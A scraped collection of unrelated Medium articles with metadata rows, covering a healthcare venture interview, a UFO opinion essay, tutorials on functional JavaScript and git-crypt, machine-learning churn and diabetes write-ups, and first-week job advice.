When I left Amazon, I wanted to go back to early company creation and venture. I had worked in a traditional venture firm, Morgenthaler Ventures (now Canvas Ventures), before Amazon. While there, I helped make several early-stage investments in companies like: Practice Fusion, HealthLoop, Viewics, Doximity, and Vida Health. I loved my time in venture, but I ultimately wanted to be more operational and help our portfolio companies scale faster.
Redesign Health offers that model. We integrate a historically complex process of ideating, developing, funding, and launching healthcare companies into a streamlined platform — one that creates and scales companies without the friction traditionally found in the business-building process.
We launch these companies in collaboration with extraordinary entrepreneurs and corporate partners. We’ve assembled an industry-leading team of nearly 90 healthcare operators, technologists, and investors to redesign healthcare during a time of urgent need and unprecedented change. We have raised over $300MM in capital since inception and are backed by Declaration Partners, the family investment firm founded by David Rubenstein, and several prominent VCs.
We have built 20 ventures to date, 13 of which are publicly launched, across a diversified set of business models, including B2B2C, enterprise software, consumer, reimbursement models, and marketplaces/platforms. Our platform team provides deep expertise across every functional area relevant to launching and growing healthcare businesses.
Our portfolio includes companies like Calibrate, Vault Health, MedArrive, and a few that I am directly involved with: UpLift, Springtide, and Health Quarters.
What do you think makes a great healthcare founder?
It boils down to three things. First, you have to know how your company is going to make money over the long run. And if you don’t know that yet, you need to be willing to pivot to find it.
Second, invest in or hire a team around you that has healthcare expertise. You want to surround yourself with leaders who have played in the industry sandbox. I am all for innovation and tech leaders being in healthcare, but at least one Co-founder or someone from the management team has to be an industry veteran. If not, I highly suggest you get a deep bench of industry advisors.
Third, align around investors who have the stomach for investing in healthcare and digital health. They’ll know where to invest in relationships, how to get large incumbent brands to partner and pilot your solution, and they will understand the longer B2B sales cycles in payor and provider. They will also know how a digital health startup CEO leader will need to deploy capital and fundraise over time.
What is the best part of your job today?
I love the diversity and optionality of my everyday work at Redesign Health. I get to work on very early concepts and help bring them to fruition, recruit and build out founding teams, and coach stellar CEOs. It’s a nice blend of drawing on my past Operator, Government/Policy, and Investor experiences.
What’s the hardest part of your job today?
There is so much popping up in our industry right now due to the global pandemic, I just wish we all had more hours in the day to respond to demand and need. There are still many complicated problems in healthcare that need to be addressed — we at Redesign Health, strive to launch companies at an extremely high velocity, but it would be great to figure out a way to go even faster in order to tackle these immediate problems.
What’s the best or most impactful thing you’ve read lately?
I just re-read The Art of Possibility by Rosamund Stone Zander and Benjamin Zander. It’s a very quick and simple read, and it’s about changing your mindset to what is possible. It invites readers to learn how to be passionate communicators, leaders, and performers.
Name something that you can’t live without and tell us why.
My journal. Every morning I set a timer and write for ten minutes. Some days it may be a list of things I need to do, other days, it may be more creative or intentional. The point is that I’m writing and focusing on getting out of my head and really giving myself time to “think big” and “dream.” I found that the act of physically writing or scribbling on lined paper and not typing on a computer or phone opens my creativity and centers me to start my day.
Thank you, Missy for sharing your incredible journey with us. You’ve really done it all in healthcare and I’m sure you have inspired our readers to continue learning about healthcare from all angles. | https://medium.com/@michelle-davey/building-the-unsexy-of-healthcare-interview-with-redesign-health-venture-chair-missy-krasner-63d9f25d761f | ['Michelle Davey'] | 2021-09-01 14:13:06.632000+00:00 | ['Telehealth Industry', 'Healthcare', 'Healthcare Technology', 'Female Founders', 'CEO'] |
Are Humans Dumb? | Are we really shocked by the existence of aliens?
We shouldn’t be. What I was shocked about was that recently the US government released evidence of otherworldly crafts (UFOs) and declared them to be real. So, if UFOs are real, wouldn’t that equate to aliens being real, unless the government is behind all those flying crafts? Who knows? Nothing makes sense anymore.
I have been down so many rabbit holes from listening/reading/watching stories about Antarctica, the inner earth theory, alien bases on Mars, multi-dimensions and universes, UFOs in the Bible, the dark side of the moon, etc. There are so many rabbit holes to get lost in and at this point, I am tired, and I just want the truth. Trust me, Galactic Federation, we humans can handle it.
Photo Credit: Psychology Today
What is the truth?
Lately, there have been so many missions to space. Donnie T (Trump) recently created the Space Force, do we really think that they are doing this for fun? Obviously, something is happening in space and Donnie T is well aware, just like most, if not all, of the other presidents prior to him. I don’t know exactly what they know, and I am tired of assuming, so please save me, save us the time and energy and just tell us what is happening.
We should be a little offended that the aliens don’t think that humanity is ready for the truth because we have not evolved enough as a race. But for years, versions of the truth have been revealed to us, so what are they afraid of?
Are they afraid that by revealing the truth that would mean automatic admission to the lies that we have been told about our world? News flash, we already know that we have been lied to. Or, are they afraid that people will lose faith in government and realize that the Universe is bigger than us and we are just a small part of a vast system that does not revolve around us? Or worse yet, could the truth reveal that we were an experiment that went terribly wrong? Come on aliens, give humanity some credit. The information is out there in some form, it has been hidden in plain sight for us to see. Stop holding it hostage.
Information is hidden in plain sight.
I remember as a teenager, watching a movie with Arnold Schwarzenegger called Total Recall, and I was convinced that it was possible to live on Mars. Ever since then, I wanted to go to Mars to the point where I randomly send my name on NASA's missions to outer space. Sounds like a joke, nope it’s real, check it out here. If you are into science fiction, like I am, you have seen some version of the truth in a movie or a documentary.
We no longer want some watered-down version of the truth hidden in movies, books and documentaries. Just tell us the truth and let’s start having some conversations about everything.
Let’s have intelligent conversations regarding how humanity came into existence, explain God and consciousness, explain how our technology has advanced tremendously in the last 100 years and what we have adopted from you, explain who is really in control, explain the Universe and dimensions, explain time, just explain everything. I don’t want to have to depend on Donnie T for his version of this narrative, although that would probably be quite entertaining.
Photo Credit: Meme
Aliens, can’t you tell that we are hungry for information and truth?
We want to know so much, and we are open-minded to the truth, more than you fail to realize. After the way humanity has been tested in 2020, revealing the hate and disdain conjured up in us by big tech and the media, after how corporations have been raping us blindly for years, and how people are suffering in poverty while others sit back and become billionaires, don’t you think it’s time for a switch?
We all need a damn wake up call. We need to wake up and seek the correct knowledge and stop wasting energy hating and focusing on things that no longer serve us. If the aliens don’t think we have evolved enough, then isn’t it only fair that they teach us the truth so that we can get to the next level? Or, is it just beneficial to keep us blind and stuck in a system that dis-serves us? I don’t want to remain a small part of this entire system; I would prefer to evolve to the next level and we need your help.
So, are humans dumb?
Photo Credit: Manchesters Finest
Of course not. We are highly intelligent creatures with the burning need to constantly gain knowledge and elevate beyond our situations. Therefore, we would like to know the truth and it’s obvious we have been searching for it for decades. It’s evident in the countless movies, testimonials, short series and documentaries that have racked up quite a following worldwide. For those humans who have turned a blind eye to this information, they have done so by choice. And, if they would like to remain uninformed about this knowledge, then we should just oblige. For the rest of us, open to the information, please just release it. We are intelligent enough to process knowledge and adjust our thinking accordingly.
My plea to the aliens.
Aliens, Galactic Federation, the government, if you could please relieve us of the additional time that we will be wasting going down more rabbit holes of misinformation, we would appreciate it. We are intelligent beings, with amazing abilities, and we would like to understand it all. Some of us humans are willing to listen and absorb the knowledge, as long as it is the truth. People are tired and ready for change, so please stop holding the information hostage and…wake up humanity to the truth. | https://medium.com/illumination/are-humans-dumb-e81d6d76b08d | ['Melanie J.'] | 2020-12-25 01:42:52.063000+00:00 | ['Truth', 'Universe', 'Philosophy', 'Humanity', 'Ufos And Aliens'] |
Concepts of Functional Programming in Javascript | After a long time learning and working with object-oriented programming, I took a step back to think about system complexity.
“Complexity is anything that makes software hard to understand or to modify. " — John Outerhout
Doing some research, I found functional programming concepts like immutability and pure function. Those concepts are big advantages to build side-effect-free functions, so it is easier to maintain systems — with some other benefits.
In this post, I will tell you more about functional programming, and some important concepts, with a lot of code examples. In Javascript!
What is functional programming?
Functional programming is a programming paradigm — a style of building the structure and elements of computer programs — that treats computation as the evaluation of mathematical functions and avoids changing-state and mutable data — Wikipedia
Pure functions
“water drop” by Mohan Murugesan on Unsplash
The first fundamental concept we learn when we want to understand functional programming is pure functions. But what does that really mean? What makes a function pure?
So how do we know if a function is pure or not? Here is a very strict definition of purity:
It returns the same result if given the same arguments (it is also referred as deterministic )
) It does not cause any observable side effects
It returns the same result if given the same arguments
Imagine we want to implement a function that calculates the area of a circle. An impure function would receive radius as the parameter, and then calculate radius * radius * PI :
Why is this an impure function? Simply because it uses a global object that was not passed as a parameter to the function.
Now imagine some mathematicians argue that the PI value is actually 42 and change the value of the global object.
Our impure function will now result in 10 * 10 * 42 = 4200 . For the same parameter ( radius = 10 ), we have a different result. Let's fix it!
TA-DA 🎉! Now we’ll always pass the PI value as a parameter to the function. So now we are just accessing parameters passed to the function. No external object .
For the parameters radius = 10 & PI = 3.14 , we will always have the same the result: 314.0
& , we will always have the same the result: For the parameters radius = 10 & PI = 42 , we will always have the same the result: 4200
Reading Files
If our function reads external files, it’s not a pure function — the file’s contents can change.
Random number generation
Any function that relies on a random number generator cannot be pure.
It does not cause any observable side effects
Examples of observable side effects include modifying a global object or a parameter passed by reference.
Now we want to implement a function to receive an integer value and return the value increased by 1.
We have the counter value. Our impure function receives that value and re-assigns the counter with the value increased by 1.
Observation: mutability is discouraged in functional programming.
We are modifying the global object. But how would we make it pure ? Just return the value increased by 1. Simple as that.
See that our pure function increaseCounter returns 2, but the counter value is still the same. The function returns the incremented value without altering the value of the variable.
If we follow these two simple rules, it gets easier to understand our programs. Now every function is isolated and unable to impact other parts of our system.
Pure functions are stable, consistent, and predictable. Given the same parameters, pure functions will always return the same result. We don’t need to think of situations when the same parameter has different results — because it will never happen.
Pure functions benefits
The code’s definitely easier to test. We don’t need to mock anything. So we can unit test pure functions with different contexts:
Given a parameter A → expect the function to return value B
→ expect the function to return value Given a parameter C → expect the function to return value D
A simple example would be a function to receive a collection of numbers and expect it to increment each element of this collection.
We receive the numbers array, use map incrementing each number, and return a new list of incremented numbers.
For the input [1, 2, 3, 4, 5] , the expected output would be [2, 3, 4, 5, 6] .
Immutability
U nchanging over time or unable to be changed.
“Change neon light signage” by Ross Findon on Unsplash
When data is immutable, its state cannot change after it’s created. If you want to change an immutable object, you can’t. Instead, you create a new object with the new value.
In Javascript we commonly use the for loop. This next for statement has some mutable variables.
For each iteration, we are changing the i and the sumOfValue state. But how do we handle mutability in iteration? Recursion!
So here we have the sum function that receives a vector of numerical values. The function calls itself until we get the list empty (our recursion base case ). For each "iteration" we will add the value to the total accumulator.
With recursion, we keep our variables immutable. The list and the accumulator variables are not changed. It keeps the same value.
Observation: Yes! We can use reduce to implement this function. We will cover this in the Higher Order Functions topic.
It is also very common to build up the final state of an object. Imagine we have a string, and we want to transform this string into a url slug .
In OOP in Ruby, we would create a class, let’s say, UrlSlugify . And this class will have a slugify! method to transform the string input into a url slug .
Beautiful! It’s implemented! Here we have imperative programming saying exactly what we want to do in each slugify process — first lower case, then remove useless white spaces and, finally, replace remaining white spaces with hyphens.
But we are mutating the input state in this process.
We can handle this mutation by doing function composition, or function chaining. In other words, the result of a function will be used as an input for the next function, without modifying the original input string.
Here we have:
toLowerCase : converts the string to all lower case
: converts the string to all lower case trim : removes whitespace from both ends of a string
: removes whitespace from both ends of a string split and join : replaces all instances of match with replacement in a given string
We combine all these 4 functions and we can "slugify" our string.
Referential transparency
“person holding eyeglasses” by Josh Calabrese on Unsplash
Let’s implement a square function :
This pure function will always have the same output, given the same input.
Passing 2 as a parameter of the square function will always returns 4. So now we can replace the square(2) with 4. That's it! Our function is referentially transparent .
Basically, if a function consistently yields the same result for the same input, it is referentially transparent.
pure functions + immutable data = referential transparency
With this concept, a cool thing we can do is to memoize the function. Imagine we have this function:
And we call it with these parameters:
The sum(5, 8) equals 13 . This function will always result in 13 . So we can do this:
And this expression will always result in 16 . We can replace the entire expression with a numerical constant and memoize it.
Functions as first-class entities
“first-class” by Andrew Neel on Unsplash
The idea of functions as first-class entities is that functions are also treated as values and used as data.
Functions as first-class entities can:
refer to it from constants and variables
pass it as a parameter to other functions
return it as result from other functions
The idea is to treat functions as values and pass functions like data. This way we can combine different functions to create new functions with new behavior.
Imagine we have a function that sums two values and then doubles the value. Something like this:
Now a function that subtracts values and the returns the double:
These functions have similar logic, but the difference is the operators functions. If we can treat functions as values and pass these as arguments, we can build a function that receives the operator function and use it inside our function. Let’s build it!
Done! Now we have an f argument, and use it to process a and b . We passed the sum and subtraction functions to compose with the doubleOperator function and create a new behavior.
Higher-order functions
When we talk about higher-order functions, we mean a function that either:
takes one or more functions as arguments, or
returns a function as its result
The doubleOperator function we implemented above is a higher-order function because it takes an operator function as an argument and uses it.
You’ve probably already heard about filter , map , and reduce . Let's take a look at these.
Filter
Given a collection, we want to filter by an attribute. The filter function expects a true or false value to determine if the element should or should not be included in the result collection. Basically, if the callback expression is true , the filter function will include the element in the result collection. Otherwise, it will not.
A simple example is when we have a collection of integers and we want only the even numbers.
Imperative approach
An imperative way to do it with Javascript is to:
create an empty array evenNumbers
iterate over the numbers array
array push the even numbers to the evenNumbers array
We can also use the filter higher order function to receive the even function, and return a list of even numbers:
One interesting problem I solved on Hacker Rank FP Path was the Filter Array problem. The problem idea is to filter a given array of integers and output only those values that are less than a specified value X .
An imperative Javascript solution to this problem is something like:
We say exactly what our function needs to do — iterate over the collection, compare the collection current item with x , and push this element to the resultArray if it pass the condition.
Declarative approach
But we want a more declarative way to solve this problem, and using the filter higher order function as well.
A declarative Javascript solution would be something like this:
Using this in the smaller function seems a bit strange in the first place, but is easy to understand. | https://medium.com/the-renaissance-developer/concepts-of-functional-programming-in-javascript-6bc84220d2aa | [] | 2019-07-08 01:48:44.484000+00:00 | ['JavaScript', 'Software Development', 'Programming', 'Functional Programming', 'Coding'] |
Safely Keep Your Application Secrets in Repos Even if They’re Public Using Git-Crypt | git-crypt
Git-crypt aims to solve this problem by encrypting your secrets whenever you push them to your Git repository and decrypting them whenever you pull them. This happens transparently from your point of view. So the secrets are in cleartext as far as you and your deployment code are concerned, but nobody else can read them — even if your source code is in a public GitHub repository.
Let’s look at an example.
1. Install git-crypt
There are instructions for Linux, Mac, and Windows on the git-crypt install page.
If, like me, you’re using a Mac with Homebrew installed, you can run:
$ brew install git-crypt
2. Create a new Git repository
$ mkdir myproject
$ cd myproject
$ git init
$ echo "This is some text" > file.txt
$ git add file.txt
$ git commit -m "Initial commit"
Now we have a Git repository containing a single text file.
3. Set up the repository to use git-crypt
$ git-crypt init
You should see the output:
Generating key...
Before we do anything else, please run the following command:
$ git-crypt export-key ../git-crypt-key
This command creates a copy of the git-crypt symmetric key that was generated for this repository. We’re putting it in the directory above this repository so that we can reuse the same key across multiple Git repositories.
By default, git-crypt stores the generated key in the file .git/git-crypt/keys/default , so you can achieve the same result by running cp .git/git-crypt/keys/default ../git-crypt-key .
This git-crypt-key file is important. It's the key that can unlock all the encrypted files in our repository. We'll see how to use this key later on.
4. Tell git-crypt which files to encrypt
Imagine our application needs an API key, and we want to store it in a file called api.key .
Before we add that file to our repository, we will tell git-crypt that we want the api.key file to be encrypted whenever we commit it.
We do that by using the .gitattributes file. This is a file we can use to add extra metadata to our Git repository. It's not specific to git-crypt, so you might already have a .gitattributes file in your repository. If so, just add the relevant lines. Don't replace the whole file.
In our case, we don’t have a .gitattributes file, so we need to create one. The .gitattributes file contains lines of the form:
[file pattern] attr1=value1 attr2=value2
For git-crypt, the file pattern needs to match all the files we want git-crypt to encrypt, and the attributes are always the same: filter and diff , both of which we set to git-crypt .
So, our .gitattributes file should contain this:
api.key filter=git-crypt diff=git-crypt
Create that file, and add and commit it to your Git repository:
$ echo "api.key filter=git-crypt diff=git-crypt" > .gitattributes
$ git add .gitattributes
$ git commit -m "Tell git-crypt to encrypt api.key"
I’ve used the literal filename api.key in my .gitattributes file, but it can be any file pattern that includes the file(s) you want to encrypt, so I could have used *.key , for instance. Alternatively, you can just add a line for each file you want to encrypt.
It can be easy to make a mistake in your .gitattributes file if you’re trying to protect several files with a single pattern entry. So, I strongly recommend reading this section of the git-crypt README, which highlights some of the common gotchas.
5. Add a secret
Now that we have told git-crypt we want to encrypt the api.key file, let's add that to our repository.
It’s always a good idea to test your setup by adding a dummy value first and confirming that it’s successfully encrypted before committing your real secret.
$ echo "dummy value" > api.key
We haven’t added api.key to Git yet, but we can check what git-crypt is going to do by running:
$ git-crypt status
You should see the following output:
encrypted: api.key
not encrypted: .gitattributes
not encrypted: file.txt
So, even though the api.key file has not yet been committed to our Git repository, this tells you that git-crypt is going to encrypt it for you.
Let’s add and commit the file:
$ git add api.key
$ git commit -m "Added the API key file"
6. Confirm that our secret is encrypted
We’ve told git-crypt to encrypt api.key , and we've added api.key to our repository. However, if we look at api.key , nothing seems different:
$ cat api.key
dummy value
The reason for this is that git-crypt transparently encrypts and decrypts files as you push and pull them to your repository. So, the api.key file looks like a normal cleartext file.
$ file api.key
api.key: ASCII text
One way to confirm that your files really are being encrypted is to push your repository to GitHub. When you view the api.key file using the GitHub web interface, you'll see that it's an encrypted binary file rather than text.
An easier way to see how the repository would look to someone without the decryption key is to run:
$ git-crypt lock
Now if we look at our api.key file, things are different:
$ file api.key
api.key: data $ cat api.key
GITCRYPTROܮ7y\R*^
You will see some different garbage output to what I get, but it’s clear the file is encrypted. This is what would be stored on GitHub.
To go back to having a cleartext api.key file, run:
$ git-crypt unlock ../git-crypt-key | https://medium.com/better-programming/safely-keep-your-application-secrets-in-repos-even-if-theyre-public-using-git-crypt-735d74b011bd | ['Michael Bogan'] | 2020-11-03 17:50:47.851000+00:00 | ['Security', 'DevOps', 'Heroku', 'Git', 'Programming'] |
Predicting Customer Churn in the Telecommunications Industry | Predicting Customer Churn in the Telecommunications Industry
Image via Shutterstock under license to Leo Siu-Yin
Why Predict Customer Churn?
Getting new customers is much more expensive than retaining existing ones. Some studies have shown that it costs six to seven times more to acquire a new customer than to keep an existing one.
According to BeyondPhilosophy.com:
“Loyal customers reduce costs associated with consumer education and marketing, especially when they become Net Promoters for your organization.”
Hence it is important to be able to proactively determine the customers most at risk of leaving and take preventative measures against this through understanding their needs and providing positive customer experience.
Photo by Sharon McCutcheon on Unsplash
Methodology
The project is divided into 3 stages:
Data Cleaning and Exploratory Data Analysis. Model Selection and Threshold Tuning. Result Interpretation.
Data Cleaning and Exploratory Data Analysis
Data is obtained from Kaggle, IBM Data Sets. The data set has some imbalance with 26.5% churn.
Data is first checked for unique customer ID. Blank spaces are replaced with 0 and columns are changed to numerical type whenever applicable.
EDA is carried out to understand the data. A feature like gender has little impact on churn and will be dropped.
Feature -to-feature correlation is mapped out using a heatmap and features that are highly correlated to one another are dropped (shown below with correlation of > 0.6).
One hot encoding is then carried out on categorical features. And the top 11 features are selected via Random Forest Classification using the algorithm’s feature importance property.
Reducing the number of input features will simplify the problem that is being modeled and speed up the modeling process.
Model Selection and Threshold Tuning
Four models are used to do modeling on the final data: Logistic Regression, C-Support Vector Classification, K Neighbours Classifier and Random Forest Classifier.
GridSearchCV is used to tune the hyperparameters and the best hyperparameter is found for each model.
Based on class 1 classification of threshold 0.5, the logistic regression model is found to have the highest ROC-AUC score, the lowest log-loss, the highest F1 score, and the highest Recall score. Hence the logistic regression model is selected as the final model to further fine-tune the threshold to improve the recall score for our data.
ROC-AUC Score
Log-loss
F1 Score
Precision
Recall
Precision is the fraction of relevant instances among the retrieved instances, while Recall (also known as sensitivity) is the fraction of the total amount of relevant instances that were actually retrieved.
In predicting customer churn, a higher recall would be preferred to a higher precision, because it would be ideal to be able to predict which customers are at a higher risk of leaving. However tuning the threshold to achieve a higher recall comes at the cost of reducing the precision. Hence a balance needs to be achieved. In this project, I have chosen to use F1 score as the metric to select my threshold.
Classification algorithms work by predicting a probability before the probability can be mapped to a class label. This is achieved by using a threshold, such as 0.5, where all values equal or greater than the threshold are mapped to one class and all other values are mapped to another class.
Since the data has a class imbalance, the default threshold can result in a poor classification. As such, it is important to tune the threshold used to map probabilities to the class labels.
At the default threshold of 0.5, the logistic regression model gave an F1 score of 0.58. Based on the maximum F1 score of 0.62, the threshold value turns out to be 0.36. And this new threshold value increased the recall score from 0.55 to 0.78.
Result Interpretation
Based on the logistic regression model, telecommunications companies can focus on the top two features and reduce customer churn by :
Having longer term contract for customers. Improve online security for customers.
Here is a link to my GitHub where you can find my codes and presentation slides. You can also contact me via LinkedIn. | https://towardsdatascience.com/predicting-customer-churn-in-the-telecommunications-industry-99a369317e91 | ['Leo Siu-Yin'] | 2020-10-15 02:40:28.505000+00:00 | ['Feature Selection', 'Logistic Regression', 'Random Forest', 'Data Science', 'Random Forest Classifiers'] |
Woz speaks (on iPhone) | I happen to be reading iWoz, which is Steve Wozniak’s memoir/biography/whatever. It’s a very breezy easy read and fun if you follow this kind of thing. So naturally this caught my eye:
“Woz then moved on to the topic of Android saying that Android smartphones, not the iPhone, would become dominant, noting that the Google OS is likely to win the race similarly to the way that Windows ultimately dominated the PC world. Woz stressed that the iPhone, “Has very few weak points. There aren’t any real complaints and problems.” (from “Steve Wozniak: Android will be the dominant smartphone platform”)
Of course Engadget may not have selected the particular headline that Woz would have liked, because he also lavished praise on the iPhone saying it has “”Has very few weak points. There aren’t any real complaints and problems. In terms of quality, the iPhone is leading.” | https://medium.com/pito-s-blog/woz-speaks-on-iphone-63daa003c697 | ['Pito Salas'] | 2017-06-08 19:19:18.975000+00:00 | ['Technology', 'Blogbridge', 'Android', 'Engadget', 'iPhone'] |
Diabetes Patient Re-Admission Prediction | Diabetes Patient Re-admission Prediction: Source: My own
Problem Statement:
The Problem Statement here is, to identify if the patient will again come back for medication or not, based on the the mentioned feature variables which are described as below.
1. Data description and Hypothesis Generation
Below are the variables given to us for predicting if the Diabetic patient will be re-admitted to the hospital.
Data set Description
We can see that there are about 15+ variables(considering extra telemetry variables) which can be used for modelling. Variable encounter_id is an identifier column. It has a unique value for every sample in the data set and cannot be used for modelling. Variable ‘diabetesMed’ is Target/y column. It has binary values and we need to predict this variable given 15+ variables as features.
HYPOTHESIS GENERATION
Simply put, a hypothesis is a possible view or assertion of an analyst about the problem he or she is working upon. It may be true or may not be true.
Are older patients more likely to take medication as compared to younger patients ? Are patients with certain Race affect the medication? Does weight of the patient affect the medication? Does admission type id affect the medication? Does discharge disposition id affect the medication? Does admission source id affect the medication? Does time in hospital affect the medication?
2. EDA
Before going to any kind of modelling, we will always want to have a look at the kind of data that we have.
We have been provided a file, with information:
Train.csv: We will use this file for training our model. It contains variables or features that we will input to our model, and the target variable that we want to predict.
We will split the data into Train data set, Cross validation data set and Test data set and perform the job.
Now lets go ahead and check the data we have.
Dataset Shape (Number of Samples and Variables in the dataset)
2(a). Target Distribution
This is a binary classification problem. Lets have a look at the number of positive and negative examples that we have, or in our problem statement terms: ‘Number of People who came back for medication, and number of people who did not’
Visually we are able to see communicate things more clearly and graphs help us do that. Lets visualize the same target distribution in a countplot.
Quite obviously dataset is very imbalanced. About 89% of the examples are positive, and only 11% are negative.
Checking and Displaying the Unique values in each variable to better understand the data.
As you can see that there are variables which have more than 100 unique values and few have lesser values.
Analyzing Each Variable & their relationships
There are two types of features that we have:
Categorical Numerical
And also our target is Binary
For each feature type we will be perform two types of analysis:
Univariate: Analyze 1 feature at a time Bivariate: Analyze the relationship of that feature with target variable, i.e. ‘diabetesMed’
But before jumping straight into analysis, lets have a look at the variables we had and try to ask some questions ourselves
2(b). Analyzing Categorical Variables — Univariate Analysis
From the pandas dataframe, lets pick up only the categorical Variables and perform analysis
Univariate Analysis — Pie Charts.
Pie Charts can be useful in seeing the proportion of samples, that fall into each category of a categorical variable. For each of the categorical variables we will make a pie chart.
And there are few more pie charts for remaining categorical variables in the same fashion.
So below are the inferences we get from the pie chart
Race column has about 2 % records with ‘?’ values Weight column has about 98% records with ‘?’ values tel_1 column has about 17 % records with ‘?’ values tel_2 column has about 55 % records with ‘?’ values
Pre-Processing and Transforming of data for few columns as we need good data for the models to produce good results.
As part of this step we are :
Replacing ‘?’ with ‘UNKNOWN’ value Dropping the variables which are having > 15% of data as nulls[weight and tel_2 variables]
Data looks more neat now, after cleansing as shown in figure below.
2(c). Analyzing Categorical Variables — Bivariate Analysis
Here lets perform the Bivariate analysis using the target label as well.
And there are few more bar charts for remaining categorical variables in the same fashion.
Now Lets try to answer few Hypothesis Questions:
Q: Are Older patients more likely to take medication as compared to younger patients?
A: From the above bar plots we see that patients above 50 are more prone to medication
Q: Are patients with certain race affect with medication?
A: we see that AfricanAmerican get affected more, next comes asian population. Caucasians and hispancis are not much affected from the insights we see(volume of data for them is huge).
2(d). Analyzing Numerical Variables — Univariate Analysis
1. Univariate Analysis — Boxplots
Boxplot can be used to see the spread of the numerical variables, and identify outliers
So here we will pick up only numerical variables for our analysis.
So we build the box plots using the below code
And there are few more bar plots for remaining numerical variables in the same fashion.
2(e). Analyzing Numerical Variables — Bivariate Analysis
Bivariate Analysis using Horizontal BarPlots
For each numerical Variable. We will plot the median of the numerical variable for:
When diabetesMed == 0 when diabetesMed == 1 We are choosing median since median is not affected by outliers, and our data has a lot of outliers
Lets try to answer few more hypothesis Questions:
Q: Does admission Type id affect the medication?
A: No it does not as per the insights from the graph
Q: Does discharge disposition id affect the medication?
A: No it does not as per the insights from the graph
Q: Does admission source id affect the medication?
A: No it does not as per the insights from the graph
Q: Does time in hospital affect the medication?
A: Yes it does, as it is showing that people who spend more time in hospital are more likely to comeback for medication
3. Splitting the data and making the model ready
Here we will split the data into Train, Validation and Test data set as shown in code snippet below.
3(a). For Categorical Variables we will use One-Hot-Encoding.
One Hot Encoding for race column as shown below
As shown in the above example we follow the same method on all the remaining Categorical variables like ‘gender’,’age’ etc.
3(b). For Numerical Variables we will use Normalization.
Normalization for admission_type_id column
As shown in the above example we follow the same method on all the remaining Numerical variables.
Finally Concatenating all the features using hstack
So the next step is choosing the Metric and hyper parameter tuning based on the model chosen
4. Choosing the Metric for Classification Model
We will train our model on Decision Trees, Logistic Regression and SVM and check how each of it is performing on the Binary Classification.
We have chosen AUC-ROC score as a metric as it is good for binary classification problems.
What is the AUC-ROC curve?
The Receiver Operator Characteristic (ROC) curve is an evaluation metric for binary classification problems. It is a probability curve that plots the TPR against FPR at various threshold values and essentially separates the ‘signal’ from the ‘noise’. The Area Under the Curve (AUC) is the measure of the ability of a classifier to distinguish between classes and is used as a summary of the ROC curve. For more information refer this URL:
5. Decision Tree Classifier
We will first choose Decision Tree classifier here and train our model. But before we train we first need to perform hyper-parameter tuning.
It can be done by 2 methods, either by Grid-Search or Random Search.
we have defined a couple of helper functions which can help in searching the best hyper parameters. Detailed level Code is shown in GITHUB link.
5(a). Hyper-parameter Tuning
Code snippet for Grid-Search is shown here. We are taking max_depth and min_samples_split as hyper-parameters for Decision Tree
Calculating ROC_AUC score using GridSearch for Train Data
Showcasing the AUC score using Heatmap (max_depth, min_samples_split)
5(b). AUC Plots
Selecting the Best hyper parameters and test the performance of the model on test data, and plot the ROC Curves
we see that the best parameters with Good AUC score are:
max_depth_best= 5
min_samples_split_best=5
The AUC Plots for Train and Test data is as shown below.
5(c). Confusion Matrix
Selecting the threshold and predicting the probabilities, and building the Confusion Matrix for Train and Test Data
we will define our own helper functions here to predict based on threshold values.
And then plot the confusion matrix using the below code snippet.
6. Logistic Regression — Predictions
In the same fashion we will train our model on different Classification Algorithm which is Logistic Regression.
And before that we tune for best hyper-params which are C and penalty here.
Choosing the best params which gives us good AUC score.
6(a). AUC Plots
Testing the performance of the model (Log. Reg) on test data, plotting ROC Curves using best hyper param : penalty and alpha values
penalty=’l2'
alpha=0.01
6(b). Confusion Matrix
In the same fashion we will use the same code snippet and plot the confusion matrix.
7. SVM — Predictions
we will also train our model on SVM as well.
And before that we tune for best hyper-params which are C and penalty here as well.
7(a). AUC Plots
Testing the performance of the model (SVM) on test data, plotting ROC Curves using best hyper param : penalty and alpha values
penalty=’l2'
alpha=0.0001
7(b). Confusion Matrix
In the same fashion we will use the same code snippet and plot the confusion matrix.
8. Final Summary
Finally we summarize as below with all the approaches, by using different models.
The full code for this post can be found on Github. I look forward to hearing any feedback or comment.
For few other case studies please refer below URL:
https://vishal-aiml164.github.io/vishal_aiml_portfolio/ | https://medium.com/@vishal-aiml164/diabetes-patient-re-admission-prediction-ddd2e288f0ed | ['Vishal K Singh'] | 2020-11-07 08:59:16.729000+00:00 | ['Python Pandas', 'Predictions', 'Artificial Intelligence', 'Machine Learning Ai', 'Classification'] |
How to Crush Your First Week at a New Job | Whether you’re starting a new position at Goldman Sachs or Golden Corral, those first forty hours on the job can make or break the next 4 years (roughly how long most people stay at one job) of your life. You can always improve your standing within the workplace, but you’ll never have a second chance at a first impression which is why it’s so important to make sure that you crush it. Luckily, we’re here to make sure that you do.
Increase your presence, not your effort.
Your first instinct when going into a new job is going to be to work way harder than you normally would. While it’s good to have a solid work ethic, it’s bad to set unrealistic precedents for yourself.
You don’t want to establish unsustainable expectations on your first week. If you do, you run the risk of disappointing people moving forward. Higher-ups will be wondering why you’re not delivering at that same rate every week, which will only lead to more stress for everyone. So… don’t do that.
What you should do is increase your positive presence within the workplace. Meaning, you should be visible, amiable, involved, and interactive at all times. People should be seeing the new guy as much as possible (in a good way, don’t be annoying about it). This will put off the vibe that you’re hardworking and committed without overextending yourself. Just work as hard as you normally would, but make an extra effort to be a team player. Don’t be the guy who just hides away and works solo all the time. Be present, be productive, be social, and everyone will assume that you’re a good addition to the company.
How do I do this?
1)Take fewer bathroom breaks.
This is just good advice anyway. But, especially in your first week, don’t be running to the restroom every 20 minutes. Everyone will think that you’re A) slacking B) have a weak blatter or C) a drug problem of some sort. The best way to avoid frequent bathroom breaks in the first week is to drink less coffee/juice/water and drink more hydration-dense beverages like coconut water, liquid iv, body armor, hell, even Pedialyte would do the trick. And just to be clear, I am NOT a doctor, this is not medical advice, I’m simply explaining how to stay hydrated without having to pee constantly which is more conducive to workplace productivity. That’s it.
2)Put your phone away.
Unless your job requires you to be on your phone, you should absolutely holster that thing until 5 pm. It’s an objectively bad look for a new employee to be glued to their phone while they should be working. Your goal should be to increase your presence in the office, and being on Instagram during business hours is like showing up to work in pajamas. It’s completely unbecoming. Put the phone down and talk to the real humans around you.
3)Bring snacks
Never underestimate the power of communal snacks. If you bring in a box of Dunkin’ Donuts, Jimmy John’s sandwiches, or even just granola bars (I recommend IQ bars) you will immediately become the undisputed office MVP for at least that day, probably the whole weak.
Ask for help (strategically)
